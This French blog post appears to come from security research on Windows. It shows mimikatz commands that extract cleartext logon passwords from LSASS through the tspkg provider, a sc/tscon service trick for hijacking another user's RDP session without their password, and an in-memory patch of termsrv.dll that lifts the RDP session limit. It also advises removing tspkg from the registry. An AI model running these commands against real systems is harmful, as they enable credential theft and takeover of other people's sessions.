Pass the pass (word)

Il arrive que j’ai le temps de lire les technet de Microsoft…, j’aurais du le faire beaucoup plus tôt !

Si vous utilisez beaucoup le bureau à distance, vous aurez déjà découvert RDCMan :

Si vous êtes un aficionados, vous n’aurez pas manqué le SSO pour bureau à distance, qui permet d’éviter de rentrer ses identifiants lors d’une connexion :

(dans les commentaires du blog MSDN, on trouve aussi les options particulières pour activer ce mode sous Windows XP SP3 et envers les serveurs non NLA et sans TLS)
Ceci fonctionne très bien vers toutes les machines basées sur NT 6 depuis des machines NT 6 ! (ou XP SP3 avec le nouveau fournisseur de sécurité RDP installé) (c’est déjà ça ;))

Sans trop chercher à comprendre le fonctionnement, j’ai tout de suite voulu tester les fonctionnalités « pass-the-hash » de mimikatz sur une connexion bureau à distance….
Sans succès :(, la connexion continue à s’effectuer avec les identifiants virtuels de mimikatz… c’est donc que ce SSO fonctionne avec un « système » autre que nos hashs préférés, a priori directement notre mot de passe courant !
Ces fonctionnalités de SSO utilisent, entre autres, un SSP (security support provider) dans LSA (Local Security Authority) : tspkg

Le provider

Ce provider n’est pas sans nous rappeler msv1_0 qui, au fil des versions, continue de nous faire profiter de quelques fonctions amusantes :

NlpGetPrimaryCredential    ; GetPrimaryCredential
NlpAddPrimaryCredential    ; AddPrimaryCredential
NlpDeletePrimaryCredential ; DeletePrimaryCredential

Pour rappel, ces fonctions permettent de récupérer les hashs LM et NTLM d’une connexion existante en fonction de l’identifiant, puis de le manipuler (réinjecter par exemple)….
rien de nouveau, c’est déjà dans mimikatz 0.x, et c’est fort amusant

Notre nouvelle librairie préférée dispose d’une fonction très sympathique elle aussi :

TSCredTableLocateDefaultCreds
*TSObtainClearCreds

* dans certains cas

  • TSCredTableLocateDefaultCreds ; retourne une structure permettant de pointer vers les identifiants et le mot de passe « obfusqué » en fonction de l’identifiant de connexion
  • TSObtainClearCreds ; a été une bonne piste de départ, cette fonction retourne la structure finale avec le mot de passe en clair (!), en réalité cela repose sur : LsaUnprotectMemory

Problème

Ce provider est actif par défaut sous les NT 6 ! Et le stockage des mots de passe est effectué même si le SSO n’est pas activé !

pass-the-pass

Téléchargement et fonctionnement

Une livraison de mimikatz en version « pre-alpha » pour l’occasion :

(plus d’information : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa#getLogonPasswords et http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/tspkg)

Petite parenthèse pour les Windowsiens prudents (Aurélien C), il faut faire attention à débloquer le fichier téléchargé, sinon les fichiers décompressés auront du mal à fonctionner :

Les fonctions évoqués plus hauts, ne sont bien sûr disponibles que sur les systèmes NT 6 ! (ou XP SP3 sur lequel le provider tspkg aurait été activé)

A exécuter après avoir obtenu des droits administrateurs (ou system) :

privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords

La commande privilege::debug n’est pas obligatoire si vous êtes déjà system.

Améliorations

par ordre d’importance

  1. étudier une authentification SSO RDP sans mot de passe en clair (avec un challenge/response par exemple)
  2. ne pas stocker directement un mot de passe avec comme seule protection réversible LsaProtectMemory (ça fait stagiaire étudiant)
  3. rendre le stockage de données de connexion dépendant de la stratégie SSO
  4. stratégie devant être au niveau utilisateur, pas au niveau machine… les identifiants appartiennent à un utilisateur, pas à une machine…

En attendant, il est URGENT de retirer le provider tspkg… surtout si vous n’utilisez pas le SSO du RDP !

Pour cela, il faut passer par le registre :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa, valeur Security Packages et enlever seulement la ligne tspkg

ssp_tspkg
et redémarrer…

Vol de session RDP

Quand le système à tous les droits, rien ne vas plus…

Vous êtes administrateur d’un serveur (ou vous en avez les droits ;)) et aimeriez récupérer une session RDP déjà ouverte, mal fermé, ou simplement aller voir pourquoi Paintbrush est ouvert sur un serveur ?

rdp_paint

Plusieurs options nous sont ouvertes :

  • Se connecter en RDP sur le serveur et récupérer la session à l’écran d’accueil :

    logon_screen_pwd

    mais il faudra connaître le mot de passe de session pour continuer…

  • Se connecter en RDP avec son compte administrateur (puis tenter une connexion par le gestionnaire de tâches par exemple)

    taskmgr_pwd

    mais il faudra connaître le mot de passe de session pour continuer… (idem via tscon ou le gestionnaire des services Bureau à distance)

  • L’assistance à distance : par défaut, ce n’est pas automatique

    aide_distance

    il fallait régler ces options avant, et elles n’agiront pas sur les sessions courantes :(

Demandons un coup de main au système ?

Le système est notre ami

tscon_service

  1. Récupérons les identifiants de sessions concernés : query session
    C:\Windows\system32>query session
     SESSION           UTILISATEUR              ID  ÉTAT    TYPE        PÉRIPHÉRIQUE
     services                                    0  Déco
     console                                     1  Conn
    >rdp-tcp#1         user1                     2  Actif   rdpwd
     rdp-tcp#0         gentilkiwi                3  Actif   rdpwd
     rdp-tcp                                 65536  Écouter

    rdp-tcp#0 est la session que nous voulons voler, rdp-tcp#1 est notre session ouverte.

  2. Créons rapidement un faux service (qui fera l’affaire) :
    sc create givemerdp binpath= "cmd /k tscon rdp-tcp#0 /dest:rdp-tcp#1" type= own
  3. En le démarrant, le bureau basculera :)
    sc start  givemerdp

    Il peut être supprimé par :

    sc delete givemerdp

Cela peut bien sur être plus propre avec PsExec… (et son argument -s)

Tests que je vous invite à effectuer :

  • Travailler avec des sessions RDP sources inactives ou dont la session Windows n’est pas fermée
  • Travailler avec des sessions RDP cibles pas encore connectés !
  • Utiliser PsExec depuis une invite externe (sans RDP)

Bureau à distance en trio (limitation des sessions RDP)

Les versions serveurs de Windows 2003 et 2008 permettent aux administrateurs zélés de se connecter, via RDP, à leurs serveurs pour certaines taches d’administration.
Ce mode de fonctionnement de Terminal Server est le mode « Bureau à distance », qui ne permet pas plus de 2 connexions RDP simultanées.

Frustration du troisième administrateur

rdp_frustration
ou en 2008…
rdp_frustration6
Déjà trop de sessions ouvertes en RDP sur le serveur… (2)

Faux réglage du mode « Bureau à distance »

rdp_fakeset
Quoi que cette fenêtre puisse laisser penser, en mode « Bureau à distance », ce réglage graphique ne sert strictement à rien ; il n’y a que deux licences de disponible

Explication

plongé dans termsrv.dll@TermService

.text:760BB42D         lea     esi, [ecx+0Ch]
.text:760BB430         push    esi             ; lpAddend
.text:760BB431         call    ds:__imp__InterlockedIncrement@4 ; InterlockedIncrement(x)
.text:760BB437         cmp     eax, 2
.text:760BB43A         jg      short @@loc_noLicence

Finalement il ne faudrait donc que remplacer un malicieux jg par un nop
Pour les versions 6 de Windows, cela demande un peu plus de subtilité au vu du nombre de vérifications faites autour d’un objet instancié…, un remplacement du nombre de sessions maximales par 0x7fffffff est tout aussi efficace ;)

Il est ici intéressant de manipuler directement ces données dans le service Terminal Server, cela permet d’éviter tout redémarrage et remplacement de fichier.

Résultat

rdp_2k3x64_happy
ou en 2008…
rdp_2k8r2x64_happy

…en plus, ça sera dans mimikatz 1.0, tout administrateur impatient que tu sois.